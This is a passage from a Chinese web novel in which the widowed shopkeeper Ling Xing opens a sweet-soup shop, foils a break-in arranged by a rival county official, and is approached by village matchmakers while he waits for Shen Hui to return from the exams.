因躲避眼线耗费些时间,不然林县令能更早的收到消息。 凌星听完跟着感叹,樊夫人着实是聪明冷静。 算账一事上也很有一手,竟然那么短时间就把他还有身边人家底摸一遍,估摸着算出来了。 他对外并没有公布过收益,家里人更没有。 要算出收益,得了解原料价格,售卖数量。家里娘那边,还有村子里的人工费,算起来是真的麻烦。 林清渝揉着眉心,也有些庆幸,“樊夫人想方设法的通过金额来提醒你,幸好你当时没有只沉浸于在得到铺子的喜悦中,从而被蒙骗。” 不然的话,就真是鹬蚌相争,渔翁得利了。 这么一直防备着也不是个事,凌星问道:“大人对幕后之人,可有猜测?” 官场上的政党斗争,林清渝并不想说。 转念又想,凌星确实也因他缘故,受到影响,说了也能叫对方心里有数。 林清渝无奈道:“府城掌管商税的范同流是林家政敌一党。云水县丞周拓又因我任县令之故,他没能升迁,一直以来都阳奉阴违。” “我有意敲打问责,可他行事滴水不漏。唯有妻弟手下掌柜,自作主张抢你包子摊方子之事被逮到错处。” “我借此事责问了他,怕是那时候开始有了反心,一直蛰伏。这次应是二人联系上,一个想我离开云水县得任县令。一个想我遭殃,林家多份污点,没那么快起来。” “此二人该是一拍即合,在背后筹划已久。” 凌星知道背后人是谁,心里有了数,稳当许多。 这事说到底,以他力量无法做什么,还真只能小心防备。 好在林县令人不错,知是城门失火,殃及池鱼。凌星是那条无辜的鱼,林县令给补偿也极为大方。 “你想要那间铺子,等事情解决,本官买下赠你。算是赔罪。” 凌星没同意,给拒了。 铺子他自己凑凑是能买的。 这次的事,也不全都是林县令的缘故。 是他先借林县令之名得庇护,不能又要人庇护,出事就全怪他人。 一条船上的人,风险共担。 凌星说出自己的想法,林清渝看凌星片刻,笑了一声。 “你倒是能扛事。” “也罢,算的清楚反而伤了情份。此事大人我记下了。” 凌星有些惊讶,以往不管是什么,林大人都是用银子或是其他东西还清楚。 毕竟人情债最难还,没个定数。 没想到这次林大人竟然会说这样的话。 话已经说出口,他再说不必才是不识好歹,凌星想了一下后道:“大人,我这还真有个事想求大人帮忙。” 林清渝一挑眉,饶有兴趣的问:“什么事?说来听听。” “想来想去,我还是觉得咽不下这口气。凭什么他们背后出阴招,我就不能得到这铺子?” 林清渝见惯了凌星平日里人畜无害的小绵羊样,看他此时颇为不满的样子,还有些新奇,笑着问他道:“凌哥儿有办法了?” 凌星微微一笑,神神秘秘的说:“自然。” 林清渝听凌星说完,嘿了一声,“你如今是越发胆大了。” 凌星保持微笑,他不是胆大了,而是有了底气。 “成,这事大人我替你办。” 林清渝应下凌星的请求,叫手下人送他离开,自己坐在书桌前,愁眉苦脸的叹息一声。 凌星的气是出了,他这里还憋着。 要是能抓到这两老狐狸的把柄就好了。 可惜,他派出去的护卫,盯到现在都没能得手。 还是功夫不到家啊。 听本家的人说,皇宫里的暗卫,那才是真功夫。 能悄无声息的进出各官员的府院,陛下想知道什么,隔天就能递上去。 他若是能有一两个暗卫用,什么范同流,什么周拓,都不够他一只手收拾的。 哎,罢了罢了,这样的好事还是想想过个瘾吧。 得再派些人去盯着才行。 他还就不信了,一点东西都盯不出来! …… 凌星铺子里的生意是越来越好,县里也肉眼可见的多了好多吃食摊子,基本上都是从凌星这学过去的。 这些摊子的摊主刚开始见到凌星时,不少人都不好意思看他。 后来见凌星并不在意,大家伙对他的态度极好。 远远瞧见了,再忙都会探头出来打声招呼。 钱是赚不完的,凌星也知道自己没办法搞垄断。 不如大家伙和气生财,关系不用太近,不远就行。 老百姓想法也简单,吃饱穿暖。 大家赚钱都不容易,把日子过起来,才是头等大事。 因为凌星的缘故,有不少人受益,他的声名在县里的商贩之间,越发的大。 许多人感念凌星不记嫌,愿意让他们学他做的吃食,谋得一口饭吃。 心里是真记着好的。 也正因此,搞得周拓想从凌星铺子吃食动手脚都不行。 没人能信他啊。 之前秦家铺子好好的一个猎坑,凌星没跳进去,真是白费了。 再想办法,实在是无从下手。 周拓怎么也想不明白,凌星到底为什么不要那铺子! 看秦家铺子的人还不少,周拓在县城影响再大,也架不住府城或是州城的人来看铺子。 这些人背后主家都不是他,或者是范大人能惹的。 好好的一个计划,最后一场空。 秦家铺子最终还是被州城来的人给买走了。 凌星的小院里,堂屋坐着一人,此人身着华服,蓄须面善。 正是替主家买下秦家铺子的管事。 凌星在与其签署契书。 凌星那日求林清渝帮的忙,就是请他找个身份地位能压过范、周二人的。 就算是压不过,只要不在这二人管辖范围内就可。 林清渝便找了州城交好的朋友,范同流的手伸不到州城去,管不着。 按着凌星说的,以他们家名义买下这铺子。 前面租赁给凌星,等事情解决再转卖给他。 事情进展顺利,范、周二人都没能反应过来。 签好契书,凌星笑着把人送走。 回屋看着白纸黑字写的清楚的契书,心中感慨万千。 自己当初的发酵方子,真的是给他换了个生路。 只要林家不倒,他就能跟着绝处逢生。 秦家铺子开始动工装修。 队伍都是现成的,凌星早就备好图纸,装修起来很快。 铺子就在酒楼边上,很快周拓就从妻弟刘元生那得知,是凌星在带人装修铺子。 他才反应过来自己被耍了一道,气的摔碎好几套茶盏。 事已至此,再怎样也于事无补。 现在,他没办法派人对铺子里的东西再动手脚。 刘元生被吓得战战兢兢,一直到周拓累的坐下,才弓着腰上前,提议道:“姐夫,不然等他开张后,我找些毛贼去那铺子里?虽然不能真的损害些什么,但至少能吓一吓那凌星。” 都是些小把戏,周拓并不放在眼里。 平时的话,他不会点头。 眼下他像是吃了只苍蝇一样难受,不上不下气的很。 能恶心一下凌星也好。 “此事交给你去办。” 第85章 第 85 章 盼归 糖水铺子在九月六日开张。 此时天气开始转凉, 却不减食客们的热情。 加上铺子里也有上新,糖水有凉有热,足够食客们选择。 还添加不少油炸油煎的小食,最受欢迎的是挂上面糊, 油炸过的蘑菇。 不是肉却胜似肉, 吃起来外酥里嫩,不油腻, 香的很。 糖水铺子的牌匾名字简单, 就叫凌谢糖水, 取凌星与谢青崖的姓氏。 分成上因是凌星出的方子,投的银子也多, 本是八二分。 不过凌星没时间管糖水铺子, 需要谢青崖管着,便多分一成给他。 最后定下是七三。 谢青崖心中知晓凌星是找个说法,让他能多拿一些。 这份情他记在心中, 对铺子的生意十分上心。 每天起的比王隽还早,回来的也晚, 搞得王隽一天只有晚上快睡了才能见到人。 夫郎做生意的劲头十足,更是肉眼可见的开心快乐,王隽将想叫谢青崖歇歇的话压在心底。 他的夫郎,很久没有这样恣意开心了。 怕外面不安稳, 谢青崖会有危险, 王隽去牙行那边请了两个打手, 为保护谢青崖安危。 刚开始还好好的, 没两天谢青崖就皱着眉头不要人跟着。 王隽问他原因,谢青崖也不说,只是更生气。 没办法, 王隽只好写封信,让凌月回家的时候带给凌星。 信里内容也简单,就是请凌星帮忙问一下,到底发生了什么,谢青崖才如此排斥。 看着信,凌星叹一口气。 此事他还真知道缘由。 县城里的打手护卫不是谁想做就能做,那都是真有功夫在身。 县中富户不少,都会雇佣护卫。 有能力被选走做护卫的,都是佼佼者,全是签长契,压根不会流入市场。 家境不是很殷实之家,找的打手,自然会次许多。 刚开始这两人还挺正常,第二天就不对劲了。 此二人不是亲兄弟,胜似亲兄弟,默契十足。 前后脚的在谢青崖面前“无意”脱掉上衣,展露身形。 还开始对谢青崖说些奇怪的话,暗示他一个哥儿做生意辛苦,相公还是个病秧子,活不了多久。 不如趁早给自己找个依靠。 谢青崖哪里听得了这些,直接把人揍一顿,叫牙行来领人。 凌星是每两日去一趟糖水铺子,去的时候谢青崖刚把人赶走,看到凌星的时候,脸上的神色才好看一些。 同凌星说了始末,谢青崖忍不住道:“幸好你今日才来,不然他们指不定还得在你面前开屏。” 说着他又抬起手臂,一掌拍在自己胳膊上,不屑道:“就他们身上那几两肉,也好意思在我面前耍刀。我衣服脱了,比他们精壮多了!” 谢青崖拉着凌星的手,让他感受臂弯的肌肉。 凌星安慰一番谢青崖,肯定了对方的力量。 思绪却不由飘远,就算那两人真像谢青崖说的那样,在他面前开屏,他也不会被其身形所吸引。 在云水县,他没见过比沈回更好看又充满力量感的身形。 想到沈回,凌星耳尖有些红,心里算着日子,应该快回来了吧。 打手一事,谢青崖不好和王隽说。 不是怕王隽误会什么,是怕王隽心里难受。 他的身体是当年被家里打伤,后面忙着逃命,居无定所,在哪都待不久,错过了最佳治疗的时间。 也就在小柳村这几年才好好的看病问诊,没让身体更差下去。 春夏时身体状态比秋冬要好些,但也确实是一年不如一年。 家里条件有限,王隽又有意给谢青崖留钱,用的药都不算太好。 谢青崖这次是把家里所有钱都拿出来做生意,不破不立,他也是想搏一把。 后面有钱了,就能给王隽用好药养着,多活一年是一年。 打手说的那些话,谢青崖听着不舒服,王隽心里也一直担忧自己撑不下去。 若是如实相告,只会叫王隽难受。 谢青崖又不想对王隽说谎,干脆闭口不谈。 也特意叮嘱过凌星,不要和王隽说。 凌星把王隽的信收好,随后回了一封。 只说是那两人做事不认真,气到了谢青崖。他会请屠海帮忙找靠谱的人,让王隽不要担心。 凌星是行动派,说了就去做。 正好屠海也回来了,歇两天才出航。 为方便,屠海在县城买了座两进的院子。看着大,不过里面住满了人,显得拥挤许多。 全是他的兄弟们。 得知凌星来意,屠海黑了两个度的手摇着折扇,露出一口大白牙,“这事好办。” 屠海来县城跟着林县令干后,县城的地头蛇们不少都来示好。 单打独斗从不是屠海的主旨,他一向奉行多个朋友多条出路。 不过屠海也没来者不拒,选了几个实力不小,也讲情义有底线的相交。 秦腾飞是里面最有头脸,势力最大的一个。 他手下的人都有些功夫在身。 码头那一带就是秦腾飞的地盘,打交道次数多,屠海和他也最相熟,人能信的过。 于是便将秦腾飞介绍给凌星,由屠海做引荐人,秦腾飞没拿乔,当即就请人进去。 凌星的要求简单,有些功夫在身,话少守规矩。 特意提了一嘴,不准与谢掌柜和他套近乎,做好份内事就行。 秦腾飞混迹多年,一下就猜到凌星为何强调这些。 定是之前有人看着雇主是哥儿,心里生出些不该有的想法。 秦腾飞为人豪爽,不同于屠海性格和外貌不符,他一脸络腮胡,声音洪亮,满口答应。 “我亲自选人,调教好了立即给凌哥儿铺子送去,且放心吧!” 临走时,凌星思索片刻对秦腾飞道:“糖水铺子是秦老大的人在照看一事,我暂时不想声张。” 林县令总说抓不到把柄,那周县丞又不像是多隐忍的人,这次被将一军定还有后手。 手段来来回回不过就是那几样,猜也能猜到。 不声张提前防备着,说不定能钓上条鱼来。 如果没能钓到,那也不吃亏,至少铺子生意安生。 秦腾飞点头应下,配合凌星,真未对外声张一句。甚至还要去的人都小心谨慎些,在保证铺子安全的前提下,别太露面。 凌星一共要了六个人,铺子大,人要的就多些。 全当是雇保安,给铺子和人都多一份安全保障。 新来的打手如秦腾飞所言,是调教好的。 一个个腰杆笔直,观察敏锐,却不会看不该看的。 更没有说不该说的。 谢青崖满意的很,脸上又有了笑容。 糖水铺子生意是越来越好,早中晚都有客上座。 尤其是饭前饭后的点,好多人愿意花点钱进来吃碗糖水,配个小食,与友人交谈,消磨时光。 今日是休沐日,人比往日更多。 谢青崖忙到很晚才关铺子回家去,有两个打手护送。 糖水铺子每天都有伙计轮值过夜,凌星为以防万一,也将六个打手安排了轮值过夜,工钱给的足足的。 送谢青崖回家的两个打手,就是当晚和伙计一起轮值的。 二人送谢青崖回去后,便立即赶去糖水铺子。 一直无风无浪的糖水铺子,今夜掀起一阵风浪。 张九和张十靠近铺子就察觉不对劲,他们都是道上混的,那些个手段心里都一清二楚。 空气里隐约的迷药气味,寻常人闻不出来,但瞒不过他们的鼻子。 二人连忙掏出帕子,系在脸上了蒙住口鼻。 又往嘴里塞颗小药丸,味道比较苦,气味亦刺鼻。却能让他们保持清醒,避免吸多迷药晕过去。 里面的人也察觉到张九和张十的靠近,躲了起来。 两方人在暗中拉锯。 到底是张九张十对屋子里的布局构造更清楚,借着月光抓住了贴墙准备逃跑的人。 对方一身黑衣,还蒙着脸,张九按着人使其不能动弹。 张十摘下对方脸上黑布,眉头一皱。 “徐四狗?你怎么在这?” 此时张九张十脸上也蒙着帕子,徐四狗又被按着,根本看不出人是谁。 张十出声后他一下子就听出来了。 徐四狗下意识转头,忘了手臂被擒在后面,疼的哎呦两声。 张九知道是熟人,稍微放开一些,没彻底松开。 缓过劲来的徐四狗勾头惊讶,“张十兄弟你咋也在这?” 徐四狗是做偷鸡摸狗勾当的,张十心里清楚。他现在受铺子雇佣,抓到人肯定不能因为有交情就放掉。 他取出麻绳,把人捆住,确定捆结实逃不掉,才面对面的交谈。 “大哥派我来看场子,凌谢糖水铺子是我们大哥还有屠八爷照看的。你怎么偷到这来了?” 徐四狗身形一僵,满脸慌张,“啊?这不大水冲了龙王庙了嘛!我不晓得这事啊!” 不说屠海是县中新起的势力,有一帮子过命兄弟又跟着林县令干事,势头迅猛。 单说秦腾飞盘踞县城多年,你客气对待还好,但还是触怒对方,码头河里有的是地方。 徐四狗是真怕,他还没活够,不想被沉河。 张九想起什么,戳了一下张十,小声道:“我记得大哥叮嘱过,让我们不要太露面。估计大哥那边也没对外说过,是在联合凌掌柜在钓鱼。” 张十也想起来了,他嘶一声看向徐四狗,“还真钓上了鱼。” 人被张九连夜送到秦腾飞处,凌星是在翌日一早被请过去。 徐四狗就是个拿钱办事的毛贼,又和秦腾飞的手下有些交情,都是道上混的,自是知道如何做能保命。 被送来的路上,他就把知道的全告诉押着他的张九了。 压根都不用人问。 这事不是张九或是秦腾飞能做主的,得叫能拍板定论的凌星来才行。 徐四狗煎熬一夜,终于等来人。 他在县里混了多年,哪条街有什么铺子,掌柜是什么人,有多少伙计,大致布局如何,心里明镜一样。 凌星他也是知道的。 云水县里能把生意做好的人不少,但能把生意做很好的哥儿,只有一个。 县里因凌星多不少摊位,叫他也跟着受益,口腹之欲得到满足。 但他也是要钱吃饭的,人家给的钱太多,他也拒绝不了。 不等凌星问呢,徐四狗就倒豆子一样,叽里呱啦说了一堆。 “凌掌柜,我真不是故意偷你铺子。那人给我百两白银,定金都给了三十两。还说偷到多少都归我,要是我不同意,就直接把我绑了送官。我这实在是没得选啊!” 凌星对徐四狗的心路历程不感兴趣,“可知是谁教唆你动手的?” 徐四狗摇头,“不知道啊,想一宿了也想不到是谁。” 他是真不晓得,人蒙的严实,又是大晚上找他,根本看不出来是谁。 “不过那人声音我记得。做我们这行,听觉和记忆都是练出来了。不是我吹,我的听觉和记忆力是他们里面最厉害的。凌掌柜若是有怀疑的人选,让我去听一听对方说话,定能分辨出。” 徐四狗为脱身卖力的游说,凌星是有怀疑对象,话到嘴边,还是没说出来。 这徐四狗并不值得信任,他没得手,背后之人肯定会知道。 如此一来,就会处处防备。要是徐四狗靠近,被猜到意图,难保不会被利用,再反过来对付他。 即是祸患,还是不做的好。 这次虽然没能钓到大鱼,但也算钓到一条小鱼。徐四狗有听声辨人的能力,以后定能用上他。 “你的能力,有旁人知晓吗?”凌星问道。 徐四狗瞧着凌星说话时神情严肃,不由深思后才谨慎回他,“这是我看家的本事,没敢和人说。若不是为了能活命离开,也不敢做筹码说出来。” 没别人知道最好,降低杀人灭口的概率。 不过以防万一,凌星还是让秦腾飞将人看住,不让徐四狗离开。 虽然没有自由身,还要从早到晚的干苦力才能得口吃的,但徐四狗也不敢多说什么。 命保住才是最要紧的。 他也不傻,知道自己这是无意间卷进了一场要命的斗争,待在秦腾飞势力范围内,也是好事。 周府。 周拓坐在椅子上,神色平静的问前面站着的刘元生。 “你的意思是说,整个云水县,都找不到人去糖水铺子捣乱?” 刘元生被那不轻不重的声音吓得一哆嗦,他姐夫越生气,就越会装做平静。 真是要了命,早知道当初就不多嘴提议了。 “秦腾飞势力大,屠海借着衙门商船在县城也结识不少三教九流之人。他二人放话护糖水铺子,还安排了人看护。我找的那些人,都不敢得罪他们。” 刘元生越说声音越小,生怕音量大一点,会直接触怒他姐夫。 周拓冷哼一声,“那哥儿倒是会交朋友。” 这话刘元生不敢应,大气也不敢出,谨小慎微,恭敬站着。 就刘元生怕的满头大汗的样子,知道的说他们二人是姻亲关系,不知道的还以为是主仆关系。 周拓也没想真用这点小把戏就能拿人怎样,只是咽不下那口气。 他冷眼看向刘元生,见对方不堪大用,只会发抖连一点小事都做不好的怂样,心头一阵烦闷。 身边都是这样的蠢货,难怪对他毫无助力,尽给他拖后腿! 事已至此,他已经失去先机。后面的事,多做多错,恐会被抓住把柄。 周拓心中再气,也知道现在不是动手的时候。 得继续蛰伏,等林清渝把香肠生意做的再大些,金额不可控的时候,再联合范大人查账。 到时候,贪赃枉法的名头,林清渝洗不掉的。 钱越多,林清渝和林家,死的越快。 如今之计,只有等。 想起上次被林清渝抓住把柄训斥,就是因为云霞酒楼掌柜自作聪明。 吃一堑长一智,周拓压着火气警告刘元生,“凌星那边,你别再自作聪明做些什么。若是再因你坏事,我杀了你。” 刘元生忙不迭点头。 “滚出去。” 得到话音的刘元生立即走了,到外面才敢放开喘气。 呼吸着新鲜空气,不由心中感叹,又在他姐夫手下活了一天。 乡试在八月下旬,考三日。成绩在十五日后出,没考中的话,沈回九月中旬就能到家。若是考上,算上参加宴会的时间,路上的时间,九月底沈回怎么着也到家了。 如得中后,继续北上科考不回家来,也该有信件来才是。 可转眼已是十月一,天冷的明显起来。也到农闲,乡下人家来县城镇上找活干的越来越多,沈回依旧杳无音讯。 沈呈山来县里送绒花时还问过凌星,沈回有没有信回来,凌星摇头说没有。 山高路远,没有音讯着实令人担忧。 凌星压着心底的慌乱,宽慰沈呈山,“兴许是在路上有些耽搁,没几日就回来了。” 沈呈山也想不到其他缘由,只能颔首。叮嘱凌星照顾好自己,等不了沈来从医馆回来见一面,要趁着天亮赶路回村。 凌星目送沈呈山离开,看着长长蜿蜒的道路,默默念着沈回的名字。 盼归,盼平安。 第86章 第 86 章 说亲 沈呈山把云水县下的镇子都跑了一遍, 签订绒花订单。 又听取凌星建议,找卖货郎合作,许多的小单子加起来,也凑出一个庞大的市场。 村子里帮忙干活的人数慢慢变多, 至今为止, 除了和沈家有矛盾的那几家,其它家基本上都有个女子或是哥儿帮徐有芳做活赚钱。 那几家也不敢作妖, 祝村长盯着呢。 同时也漏出些话风, 表示他们一直老实的话, 后面有机会,会帮着他们和沈家人说一下情。 总得给个盼头, 才能真把人稳住。 小柳村的哥儿女子在家门口把钱赚了, 村民今年攒的钱,比往年要多一些。 家里多一份收入,汉子们出去做活时心情都比往年好。 谁都想离家近就能找到活干, 不过镇子小,活计有限。 小柳村又一直被其它村压着, 镇上好点的活一般都轮不上他们。 想要多赚些,就只能去县城干苦力。 码头搬运的话,一般会管住,二十来号人睡大通铺, 被褥什么的都是自带。 不过没人带被褥, 这东西只要出现就会被偷走。 来干苦力的汉子们, 都是直接用干草编个简单的草盖子, 挡一下夜里冷风就够了。 烤肠是四季都受欢迎的小食,糖水铺子也准备上新,能方便食客购买。 火山石需要船运过来, 码头是秦腾飞的地盘,看到是凌谢糖水铺子的东西,直接叫人送铺子去。 也省的他们派人来拿。 看守码头的管事想卖人情,并不会自己出苦力。 他对着搬运工们喊了一声,叫来两人抬着装满火山石的木箱,同他走一趟。 码头上的搬运工都是按件计钱,一来一回就算一件,没人愿意吱声。 可真没人应,管事会生气,大家都得遭殃。 方家兴、方家和兄弟两就是在众人沉默之际,被人推了出去。 二人局促的站着,心里压根不想去,但更不敢回去。 管事见有人出来,面色缓和不少。 也没多看他们,只命令二人抬好木箱,跟着他走。 码头距离凌谢糖水铺子有一段距离,走了两刻多钟,方家兄弟两累的气喘吁吁。 直到靠近两层楼高的铺子,才缓缓回神,这是在云霞镇都不曾见过的气派豪华。 如今他们满头大汗,衣衫褴褛,脚踩在干净的地面都心生慌乱,总有不安萦绕。 二人不敢乱看,生怕出错处,有纰漏。 随后听到带着他们过来的管事,竟然一改冷硬态度,甚至带着些讨好的意味,喊了一声,“凌掌柜安好啊。” 方家兄弟二人对凌这个姓氏敏感。 他们方家落败,如今是连饭都不敢吃饱。更是一文钱掰成两半花,都与凌星有关。 但自从赵二宝和赵三财联合楚天赐,对沈家动手却伤到凌月。被衙门来人抓住,关押服刑后,他们家根本就不敢再起什么不好的念头。 后面方秀霞又再嫁,对方是个酒鬼,整天打人。 夫妻两睁眼就打架,方秀霞又时不时跑回娘家哭诉,家里也因为她的事,焦头烂额,更没心思去想别的。 不过,不管方家眼下再怎样穷困,也比赵平一家好太多了。 自从发酵方子公开后,赵平的生意一日不如一日。他为人并不好,做生意也一样。 食客有其它选择,压根不会再买他的包子。 后来被人带着学会了赌博,逼着赵老太卖院子给他赌。 他妻子朱秋月受不了,要和离。 赵平也不在意,只说给钱他就和离。 听说朱秋月和离的钱,还是她现在的相公给的。 赵平赌博赌的家都散了,他自己不在意。 赵老太活不下去,去找二儿子,求了好久才进了门。 日子过的也不如意,不过赵凡到底还是给她一口饭吃,和一个睡觉的地方。 赵老太也不敢说什么,怕张嘴就被赶走。 方家知道赵平的如今是何光景,也是唏嘘。 倒是信了那句,人在做天在看。私下也怀疑猜想过,带赵平赌博的人,是不是和沈家或是凌星有关系。 毕竟人是在屠八爷赌坊里赌的。 越想心里越害怕,他们家没什么力量,权利,更不敢起歪心思。 何况沈家如今是村子里最富的富户,还带着全村人挣钱,地位和祝村长都能平起平坐。 和沈家作对,就算村长不说话,其他帮沈家干活的村民就能撕了他们家。 凌星在县城做生意的事,村子里人都知晓。但具体在哪做什么,除了沈家人,村子里无人知晓。 方家兴兄弟两听到称呼姓氏,心中有猜测,又觉得难以置信。 最终还是没忍住抬头看。 气派的让他们都不敢靠近的铺子里,站着两个熟悉的人。 是凌星和谢青崖。 方家兴、方家和震惊的说不出话。 单知道凌星在县里做生意,没想到生意做的这样大。就连码头凶狠的管事都对他和颜悦色! 而且,王夫郎竟然也在这,看起来比在村子里的时候富贵多了。 方家兄弟二人认出凌星后,更加的小心翼翼,不敢让凌星看见他们样貌。 在他们的有意躲避下,凌星没有注意到二人。 就算是看见,他们现在瘦了太多,也沧桑年老许多。与之前模样派若两人,认出也需要时间。 方家兄弟两回到码头继续搬货,或许是心里想着事,方家兴一个没注意,闪到了腰,躺在地上动不了。 看大夫是没钱看大夫的,方家和请了半天假,把人背回家中休养,自己连夜赶回县城,第二天要继续扛货赚钱。 回到家的方家兴,在家人追问下,说了自己受伤的始末。 他就是过于震惊凌星的生意,失神没留意脚下,踩上小石子,人扭了一下。 货又重,这才闪了腰。 方家人听闻凌星在城里有个两层高的铺子,也是难以置信。 听说谢青崖也在那,跟着凌星做生意,看起来富贵不少,方家人面面相觑。 “这事别说出去,沈家没往外说,应该就是不想叫村里人知道。”方家兴提醒道。 方家人点头说知道,可世上哪有不透风的墙。 闲聊时这么新鲜的一个事不说出去,总是心痒难耐。 反正也不是什么不好的事,周彩花最先没忍住,和老太太们聊天时,神神秘秘道:“你们知道沈大那夫郎,在县城做什么吗?” 一句话吸引七八个老太太凑过来,眼神里充满好奇,异口同声问她,“做什么?” “说出来吓死你们。”周彩花压低声音,“人家开了个两层楼高的铺子,带着王夫郎一起在县里赚钱呢!” “嚯!两层楼高!那得多气派啊!” “乖乖,还带着王夫郎赚钱呢?那凌哥儿够重情义。” “别是你瞎说的吧,咋会那么有钱?” 周彩花哼一声,斩钉截铁,“我两儿子亲眼看见的,哪能有假?你们爱信不信。” 老太太们你看看我,我看看你。 全信了。 这事,确实不好瞎说。 周彩花提醒道:“对了,这事你们别到处说。就你们知道就成,沈家那边估计不想叫咱们晓得。” 老太太们连连答应。 转头就把话背了出去,末了不忘提醒,“这话你们知道就成,沈家那边不想让人知道。” 在一句句“你们知道就行”中,只用了一天功夫,小柳村的村民们都知道凌星在县城有个两层高的大铺子,还带着谢青崖一起赚钱。 这下有不少人家都动起了脑筋。 沈家发家就是凌星嫁过去之后的事,早前隐约就听说是凌星能干,带着一家人做生意。 如今他自己在县城做那样大的生意,还带着好友,如此有钱又重情义,实在是不可多得。 若是凌星是他们家人就好了。 仔细想想,凌星已经守寡快两年。不过是三日夫夫,守寡这样久,完全足够了。 心思一旦活泛起来,就无法再压下。 就算是凌星在县里没有那么大的铺子,他之前在镇上做生意是真真实实的。 不管怎样,手里肯定有钱。 钱再少,也比他们的多。 好多人动了心思,开始找媒婆去沈家说媒。 沈回一直没个消息,徐有芳心里担心。 强撑着让自己不要多想,腿上放一个竹筐,坐在堂屋门口边晒太阳,边修剪着绒花花型。 “哎呦,徐婶子忙着呢?” 外面来人嗓门大,声音中夹杂喜色,徐有芳抬头看去,有些奇怪,“田媒婆?” 田媒婆挥挥手绢笑着应声,“嗳!徐婶子好福气,今日我呀,是来给你家说媒的!” 沈家汉子只有沈回尚未婚配,而沈回又歪了性子,看上自己哥夫,不愿与他人成婚。 徐有芳早已接受这个结果,也没有再叫人说媒。 自从沈回对外说要继续考,在乡试结束前不会考虑相看,也没有人再来沈家说媒了。 田媒婆的出现,实在是叫徐有芳想不明白。 莫不是来给小五说亲的?小五十二了,村子里这个年纪的哥儿,确实有许多都开始相看起来。 “不是说了我家二郎暂不考虑相看吗?我家小五也等两年再说,田媒婆这趟来的不巧。” 田媒婆哎呦一声,连忙摆手,“不是给你家二郎和小五说的,是给你家凌哥儿说的!” 徐有芳一怔,手里修剪一半的绒花落在竹筐里,沾染上一层绒絮。 “你说什么?” “谁家叫你来的?” 徐有芳惊的声音越来越大,田媒婆也没瞒着,说了个人名。 徐有芳闻言不由怒道:“那王大鹰家穷的叮当响不说,二十好几的人了,他娘还把他当三岁娃娃一样养着,离了娘生活都不能自理,你把这样的人介绍给我星哥儿?” 田媒婆也觉得不合适,架不住王大娘给她一篮子鸡蛋加半包糖块啊。 还说不管成不成,东西都是她的。而且前面的越差,也更能衬托出后面的好,不然她才不多这句嘴讨骂。 田媒婆没有任何反驳,一个劲的点头附和,“是是是,徐婶子说的是。” “那刘五爷家的四郎,刘有怎么样?” 徐有芳继续皱眉,“他是个鳏夫!” 那就是也看不上了。 田媒婆眼珠子一转,她收刘家的东西比王家还多,顺嘴多劝一句“刘家在村子里也算有钱,与村长家也交好。刘四郎是鳏夫,那凌哥儿正好是寡夫,也算般配。” “啪”的一声响,徐有芳把竹筐狠狠的放在地上,“田媒婆你再说这些话,以后都不必上我沈家的门。” 她家里的人不缺媒婆说媒,也不惧得罪一个媒婆。 田媒婆脸上挂不住,村子里保媒做媒的地位都高,没人敢得罪,就怕媒人会从中作梗,家里说不到好亲事。 徐有芳是第一个敢这样和媒婆大小声,偏媒婆拿她也没办法。 田媒婆心里腾起火,转念又想到沈家今时不同往日。 不能与对其他家的态度心态来对待,这股火硬是被她压下去。 反而因怕惹徐有芳不高兴,田媒婆连忙扯出一抹笑告罪,“哎呀,是我不会说话,徐婶子你别见怪。” “我这还有一人……” 不等田媒婆说完,徐有芳起身把人推出去。 她哪里还敢听啊,要是被二郎知道她趁他不在,给星哥儿说媒,这浑小子还指不定会做出什么混账事来。 “我家星哥儿婚事也暂且不议,田媒婆路上小心,我就不送了。” 把门关上后,任凭外面人怎么敲门,徐有芳就是不开门。 哎,这都是什么事啊! 田媒婆的出现,也让徐有芳多想了一层。 现在是她家老二一根筋,还不知道星哥儿到底怎么想。 距离大郎离开已经快两个年头,是该问问星哥儿愿不愿意改嫁。 如若星哥儿想改嫁他人,那二郎那边,只能想办法拦着。 第87章 第 87 章 小五:你再熬夜,我也是…… 徐有芳以为拒绝田媒婆就好, 没成想隔日又来两媒婆。 无一例外,全都是要给凌星说亲的。 徐有芳态度坚决,只说等回头问过凌星,若他点头说愿意相看了, 再请人说媒。 现在暂不考虑相看, 叫媒婆们都回去等消息。 香饽饽就一个,那是先到先得。 媒婆们之间也是暗流涌动, 哪敢真听徐有芳说的, 回去等着? 在她们看来, 就是沈家不想香饽饽成别人家的。 这也是人之常情。 给她们,她们也不乐意啊。谁家不想有个“财神爷”在家, 天天给家里挣钱?自是会想方设法的拒绝阻拦, 人能留在家里坚决不再嫁出去。 不过谁叫凌星并不是她们家的,再人之常情,那她们也要保媒赚钱的。 拿人钱财, 替人说媒。 媒婆们不想当面惹徐有芳不痛快,面上都答应好好的, 然后转头就去县城找凌星去。 既然中间隔着沈家不好说,那就和凌星当面说。 就不信凌哥儿当真愿意一直守着,不想再嫁人。 她们四处说媒做媒,胆子见识比寻常村民大的多。 到县城也没两眼一抹黑, 先是打听哪里有两层楼高的铺子, 再打探哪个铺子的掌柜姓凌。 别说, 按着这思路, 媒婆们很快就找到了凌星。 也是因为凌星在这一带谁都认识,听说是来给他做媒,大家都秉着宁拆十座庙, 不毁一桩婚的心思,告知媒婆去哪找。 “凌掌柜有两个铺子呢,一个是春雨街的凌记小吃铺子,另一个在隔壁街上,叫凌谢糖水铺子。如果一处找不着,就去另一处。” 热心的摊主给媒婆们详细的指路,衷心的希望凌掌柜能够得到一桩好婚事。 得知凌星竟然不止一处铺子,媒婆们更是心中暗喜。 这要是说成凌哥儿的婚事,她们的喜钱肯定不少! 凌星刚从糖水铺子出来,准备去一趟小吃铺子看看。 左脚刚踏出铺子,就被三个妇人拦住去路。 三个媒婆看到传说中两层铺子,也是震惊不已。 更惊讶于凌星的有钱程度。 要不是田媒婆反应快,看到凌星出来,拉一把身边两人提醒回神,她们还仰着头看铺子呢。 三人在看到凌星时,又是一怔。 天老爷,这些日子没看见,这凌哥儿竟然越发贵气漂亮了! 她们一下子都没敢认。 就算是个寡夫,如此样貌和财力,哪怕是城里的富家公子也是嫁得啊。 三人被凌星的好看惊艳,不由想到让她们说媒的那些人家。 沉默无言的这一瞬间里,她们颇为羞于启齿。 那些人,还真是配不上凌哥儿。 不过来都来了,媒还是要说的。 “是凌哥儿吧?我是小柳村的田媒婆啊。咱们也是好久不见,这次来啊,我是给你带好消息的!” “我是赵媒婆,你家镇子上的吃食味道真不错。先头有人请我做媒,我保成了,人家请我去吃。听说是凌哥儿你传的手艺,哎呦,可真是个厉害有本事的哥儿!” “凌哥儿,我是朱媒婆。你先头和沈家大郎成婚时我还扶过你,可还记得?” 